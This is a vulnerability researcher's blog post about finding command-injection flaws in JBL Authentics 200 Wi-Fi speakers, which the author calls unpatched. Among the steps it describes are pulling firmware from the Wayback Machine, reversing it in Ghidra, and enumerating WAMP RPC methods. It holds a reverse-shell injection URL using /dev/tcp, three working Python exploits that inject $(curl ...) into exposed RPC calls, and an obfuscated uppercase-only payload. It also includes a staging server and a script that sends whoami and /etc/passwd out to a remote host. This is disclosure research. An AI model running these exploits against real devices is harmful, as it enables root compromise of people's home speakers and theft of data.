TL;DR : 3 Unpatched remotely exploitable RCE on JBL wifi speakers.
Me
Intro
On christmas this year, i was gifted with a cool JBL Authentics 200. I was just planning to use it as traditional speaker. However, a bit after christmas, I found out that JBL added the fairly new Authentics serie to their scope on their bug bounty program !
Initial Recon
Before we dive lets make a brief description of the product : The Authentics 200 is not considered as a portable speaker because it require to be plugged to work, additionally the speaker can communicate both in bluetooth and Wi-Fi, it also has an ethernet port. When being connected to your local Wi-Fi it could act as home voice assitant and it could also be used through Spotify/Airplay/Tidal/etc…
So while first doing the recon of the product, I found out that a lot was exposed (more than 20 ports) but not much was accessible and/or identifiable. A lot of services were not easily identifiable and fingerpriting them was not that easy. Even if some services were known, how they work and their source code were proprietary so it was kind of a pain in the ass to audit. After a while I tried to focus on the most obvious one for me, which was HTTP. I wasn’t getting a lot here so I started looking at the app that was built to communicate with the speaker. After digging a bit, I found this :
After some extensive research, it turns out that this seems to be the standard way of implementing the Linkplay solution : Depending on your needs Linkplay provides a base of toolset that you then adapt to suit your needs. After some more documentation on the subject, I discovered that CVE-2019-15310 was also about an exploit on this particular endpoint. This was a lead, but it turns out this exploit was patched on the device, the next step was getting to dig deeper and try to discover potentially vulnerable things.
Getting the firware :D
Getting the firmware at first wasn’t the easiest task, as JBL now has a fully automated OTA solution so there is no need to download the firmware from their website and update our device manually.
However Internet never forgets, and wayback machine was quite useful here.
curl -k 'http://web.archive.org/cdx/search/cdx?url=https://www.jbl.com/*&output=json&collapse=urlkey' -o JBLArch.json
There is probably a better way to do this but this is just the way I went and it worked surprisingly well. After downloading ~M of archived links, we can grep through it to find the stuff that is intersting :
$ cat JBLArch.json | grep -i firmware
#Some older stuff
["com,jbl)/on/demandware.static/-/sites-mastercatalog_harman/default/dw87a7b949/pdfs/firmware_update_ota1_jbl_bar_800-1000-1300_version_23.16.21.80.00.pdf","20231211120326","https://www.jbl.com/on/demandware.static/-/Sites-masterCatalog_Harman/default/dw87a7b949/pdfs/Firmware_update_OTA1_JBL_Bar_800-1000-1300_version_23.16.21.80.00.pdf","application/pdf","200","HUMR2GVXEX3KJXOIF3VFPAVYPD5W7WY3","57388"],
#Some other stuff
This is not exaclty the firmware for our device, but all we want for now is initial access to the device, not precise informations about the filesystem, so it will do just fine in our case 🙂.
Turns out the pdf is still available, and contains a link to https://harman.widen.net/s/sxtmqhcxx9/jbl_bar_800_1000_1300_ota1_ver_23.16.21.80.00 (Archived link). This allow us to then download a zipped file that contains, among other things, the update.zip
which contains the rootfs for the JBL Bar serie.
Getting initial access
After extracting the firmware and everything, we could then search for our specific endpoint httpapi.asp
in all the files extracted from the firmware :
The most interesting things here was the rootApp, as boa was just the webserver that was running and didn’t have any interesting things inside.
So as anyone would do, i loaded rootApp in ghidra and started looking at interesting places to potentially map all the possibles commands that I could execute on my device and see if it yielded anything interesting.
In the binary, there is a huge function that seems to map commands received through httpapi to system actions. I didn’t have the time to map the exact behavior and integration of this rootApp with boa httpd, as I was mainly focused on finding interesting bugs.
This function (once compiled, it’s probably cleaner in the source code) is basically a big if/else checking the value of the command
http parameter. After searching a bit, I stumbled upon this code snippet :
iVar3 = strncmp((char*) __nptr,
"getnewprivatesyslog:ip:", 0x17); //Check if the param is getnewprivate....
if (iVar3 == 0) {
__nptr = (undefined4*)((int) __nptr + 0x17); //Extract the value to format
sprintf((char*) & local_430,
"wget -O /tmp/web/sys.log -T 5 http://%s/httpapi.asp?command=getnewprivatesyslog -q", __nptr);
system((char*) & local_430); //oopsi :/
sprintf((char*) & local_430,
"wget -O /tmp/web/sys.log -T 5 http://%s/data/sys.log -q", __nptr);
system((char*) & local_430);
} else {
system("/system/workdir/script/sysprivatelog.sh");
}
As it’s decompiled, it’s a bit ugly, but basically, it verify if the parameter (__nptr
) has it’s first 23 chars equals to getnewprivatesyslog:ip:
, if yes, it then trigger the function handler, during the handling of the function, it move the param pointer up 23 chars (0x17) and use this value to format the wget command inside local_430, and then execute the command stored in local_430.
So this is what our param in the intended usage would look like : httpapi.asp?command=getnewprivatesyslog:ip:192.168.42.0
, and checking it against my device, it effectively works :
I guess you can see where this is going now, since we control the string which is given to wget, we can inject a command substitution in the command, and gain a reverse shell to the speaker by accessing http(s)://{speaker_ip}/httapi.asp?command=getnewprivatesyslog:ip:$(sh -i >& /dev/tcp/192.168.1.247/4455 0>&1)
(with 192.168.1.247/4455 being our local ip/port).
This is fairly basic but now we got our initial access and it’s going to be a lot easier to find other interesting stuff.
The speaker architecture
Now that I’ve got full access as root to the speaker let’s do some digging. A lot of interesting stuff is happening on the device. Basically, every binary on the device is launched through logwrapper
to aggregate every logs and it make them accessible through the command logcat
which is quite useful for debugging and PoCing exploit.
There is one binary/app per task (playing audio, listening for airplay, spotify, power managment …) and every binary communicates through WAMP to facilitate IPC and are coded in C++.
In this context WAMP enables real-time communication between process using two patterns: Remote Procedure Calls (RPC) and Publish/Subscribe (Pub/Sub). In our case, it ensures instant data exchange, scalability, and flexibility, allowing processes to request actions from each other or broadcast updates. In our case, there is a “router” (Bonefish) which is in charge of receiving any WAMP request, and broadcasting it to every listenning WAMP components on the device.
It turns out that the main WAMP listener, that is used to then dispatch the WAMP calls to other processes is also running on an exposed external ports (9998
), which, as we will see later, will be quite useful.
The main WAMP dispatcher is built with Bonefish, and the whole WAMP architecture looks a bit like this :
Finding bugs
This was the funniest part but also the most time consumming, since there was roughly 15 binaries that weighted at least 2MB, which is, for those who don’t know, quite huge.
Since WAMP is using Topics and RPC Methods, and every one of them looks like com.app.device.thing
, I extracted everything that looked similar to this with strings and grep. The next part was to differentiate which of them are topics (you usually subscribe/publish to them a bit like MQTT, those are a low interest since they usually don’t have a direct impact on the device) and which of them are callable methods. Since Harman (or the contractor) didn’t respect any naming convention (🙃) I bruteforced every possible call extracted from the binaries and with monitoring the log and the response, I was able to determine which one were RPC methods.
I used autobahn in python for every testing/PoC/exploit using WAMP:
proc = """com.harman.volumeChanged
com.harman.volumeGet
com.harman.volumeGet
com.harman.volumeGetMax
com.harman.volumeSet
com.harman.volumeSetExt
com.harman.vui.factorytestled
com.harman.vui.getmcustatus
com.harman.vui.usbupgrade
com.harman.wireless.subStateChanged
com.harman.wireless.surroundStateChanged
com.harman.zip-file-upload-status
"""
#....
# We get individual methods
proc = proc.splitlines()
from autobahn.twisted.wamp import ApplicationSession, ApplicationRunner
from autobahn.wamp.exception import ApplicationError
from twisted.internet.defer import inlineCallbacks
from twisted.internet import reactor
import time
class MyComponent(ApplicationSession):
@inlineCallbacks
def onJoin(self, details):
# List of WAMP procedures to test
procedures = proc
for procedure in procedures:
# "strings" artifacts
procedure = procedure.replace(" ", "")
print(f"Trying {procedure}")
try:
# If procedure is callable
a = yield self.call(procedure)
print(f"{procedure} is valid with result : {a}")
except ApplicationError as e:
if e.error != 'wamp.error.no_such_procedure':
print(f"{procedure} encountered an error: {e}")
time.sleep(0.5)
yield self.leave()
def onDisconnect(self):
reactor.stop()
if __name__ == "__main__":
url = "ws://audiocast.home:9998/"
realm = "default" # "default" is the realm used here
runner = ApplicationRunner(url, realm)
runner.run(MyComponent)
Basically, by combining this and logcat
output, we can see which methods exists and are callable, and which are avaible, either because they are topics, or because they aren’t used in the device (there is a lot of dead code on the device)
After digging a bit with this, I identified at least three RPC methods that were vulnerable to command injection. There is obviously a lot more work that was done here to try to understand the whole system, and how each components interacted with each other, but for simplicty (and because this will already be long enough) it’s not mentionned here.
First RCE : easy one
On the device, mainly for monitoring and analytics purposes, there is a binary called analytics.exe
(it’s a linux executable, who care about naming convention anyway 🙃). This binary, as it’s name implies, handles operations related to analytics. A lot of interesting stuff (and maybe not RGPD compliant) is happening in it, one RPC that trigger this binary is com.harman.analyticsUpload
, it turns out that this method trigger the function AnalyticsWAMP::wamp_analyticsUpload
:
This function is a wrapper for AnalyticsWAMP::analytics_upload
which is the following :
This function first check if /data/audio-ui/analytics/logs_enabled
is present (which is the case by default), if it’s the case it format a string to call /usr/bin/analytics/AnalyticsUploader.sh
with hardcoded params, and proceed to call this with system(). We could inject at the last two params (pos 11 and 12).
The final exploit is like this :
import asyncio
from autobahn.asyncio.wamp import ApplicationSession, ApplicationRunner
class Poc(ApplicationSession):
async def onJoin(self, details):
print("Join OK")
try:
# Call the methods with the two params (last one must be an INT as seen in the format str)
poc = await self.call('com.harman.analyticsUpload', '$(curl 192.168.1.115:4785)', 42069)
print(poc)
except Exception as e:
print(f"Failed to call: {e}")
await self.leave()
def onDisconnect(self):
print("Disconnected")
asyncio.get_event_loop().stop()
if __name__ == '__main__':
runner = ApplicationRunner(url="ws://audiocast.home:9998/", realm="default")
runner.run(Poc)
We get the following output :
Second RCE : still ez
Obvisously after finding the first RCE, I didn’t wanted to stop here and started to investigate more binaries in hope of finding other commands injections. It turns out that the connection-manager
binary was quite interesting.
(Note that i switched to IDA for this one, as it was much clearer than ghidra)
Basically, i’ve found out that a procedure “com.harman.connection-manager.enable-interface
” exists. When called it triggers ConnectionWamp::wamp_on_enable_interface
in connection-manager :
As we can see, it parses the call, we need to provide a str
as the first arg and a boolean
as the second. It then concat this to create the command “ipconfig {string} {up|down}
” depending on the value of the boolean we provided. It then execute the command with “wrap_system
”, which, as the name implies, is a wrapper around system()
from the libplatform_hal.so
lib. This is obviously intented to bring up or down a given interface but this obviously can be abused to do command injection and gain RCE as root.
The PoC code is as follow :
import asyncio
from autobahn.asyncio.wamp import ApplicationSession, ApplicationRunner
class Poc(ApplicationSession):
async def onJoin(self, details):
print("Join OK")
try:
# Call with the good params (str | bool)
poc = await self.call('com.harman.connection-manager.enable-interface', '$(curl 192.168.1.115:4785)', True )
print(poc)
except Exception as e:
print(f"Failed to call: {e}")
await self.leave()
def onDisconnect(self):
print("Disconnected")
asyncio.get_event_loop().stop()
if __name__ == '__main__':
runner = ApplicationRunner(url="ws://audiocast.home:9998/", realm="default")
runner.run(Poc)
We get this always pleasing output 🙂 :
Third RCE : the funny one
This was the last one I found and clearly the most difficult to exploit. The vulnerable procedure is com.harman.ucd.SaveWifiCountryCode
. It triggers the save_wifi_country_code
in connection-manager
:
basically, it concant iw reg set
with our input
The path is very similar to the first two, but there is a catch : You can only inject in CAPS, and your payload must be shorter than 112 chars. Basically, we just need to execute bash commands without any lowercase letter, and keeping it in the 115 chars window. Both separated conditions are quite easy to satisfy, however combined together it’s a bit more tricky but doable.
We will have to get a bit creative with those payloads to meet out requirements, after a little research I’ve decided to use Shell params expansion, but as the version of bash was quite old, not everything was functionning or implemented so this is the payload that i come up with :
L=$LD_LIBRARY_PATH;V=$(${L:12:1}${L:51:1}${L:53:1}${L:19:1} 192.168.1.115:4);$(${L:1:1}${L:18:1} -${L:12:1} "$V")
This could be considered as a low quality payload because it relies heavely on $LD_LIBRARY_PATH variable, which is subject to changes, but this was the one working for me 🙂
Let’s explain a bit :
L=$LD_LIBRARY_PATH; #Make L the same value as LD_LIB_PATH (essential to keep payload short
#LD_LIB_PATH is /system/oem_cast_shlib:/system/lib:/system/lib/hw:/usr/lib:/lib:/usr/lib/hw
V=$(${L:12:1}${L:51:1}${L:53:1}${L:19:1} 192.168.1.115:4); #We extract the letters c-u-r-l from the loaded var
$(${L:1:1}${L:18:1} -${L:12:1} \"$V\") # Using command subsitution, we execute sh -c "$V" where V holds the result of curl
For the PoC, as there is size restriction, we are going to do it with multiple stages :
server.py
, a simple python server that will be in charge of serving our second stage (which is in the file “a”) and in this case listenning for pingback from the victim :
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open('a', 'rb') as file:
self.wfile.write(file.read())
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("Received POST request:\n", post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
response_message = 'POST request received'
self.wfile.write(response_message.encode('utf-8'))
def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=4):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f'Serving HTTP on port {port}...')
httpd.serve_forever()
if __name__ == '__main__':
run()
a
which is the shell file that will be executed, here it only contains three commands, as we will execute it with sh -c, shebang and other boring scripting stuff is not needed
curl 192.168.1.115:4/a -d "$(whoami)"
curl 192.168.1.115:4/b -d "$(cat /etc/passwd)"
exploit.py
which is used to send the payload :
import asyncio
from autobahn.asyncio.wamp import ApplicationSession, ApplicationRunner
payload = "L=$LD_LIBRARY_PATH;V=$(${L:12:1}${L:51:1}${L:53:1}${L:19:1} 192.168.1.115:4);$(${L:1:1}${L:18:1} -${L:12:1} \"$V\")"
print(payload)
class Poc(ApplicationSession):
async def onJoin(self, details):
print("Join OK")
try:
poc = await self.call('com.harman.ucd.SaveWifiCountryCode', f";{payload}")
print(poc)
except Exception as e:
print(f"Failed to call: {e}")
await self.leave()
def onDisconnect(self):
print("Disconnected")
asyncio.get_event_loop().stop()
if __name__ == '__main__':
runner = ApplicationRunner(url="ws://audiocast.home:9998/", realm="default")
runner.run(Poc)
We then get this output :
Conclusion
Quite a funny trip inside JBL devices ! To bad that they decided to triage the three RCE as duplicates and ‘internally tracked’ after 1 month of waiting 😟 instead of doing it just after I sent the report if they really had it internally tracked back then 🙂. Anyway still working on other exploits that will maybe be the subject of future blogs posts if they are also triagged as duplicates 😕.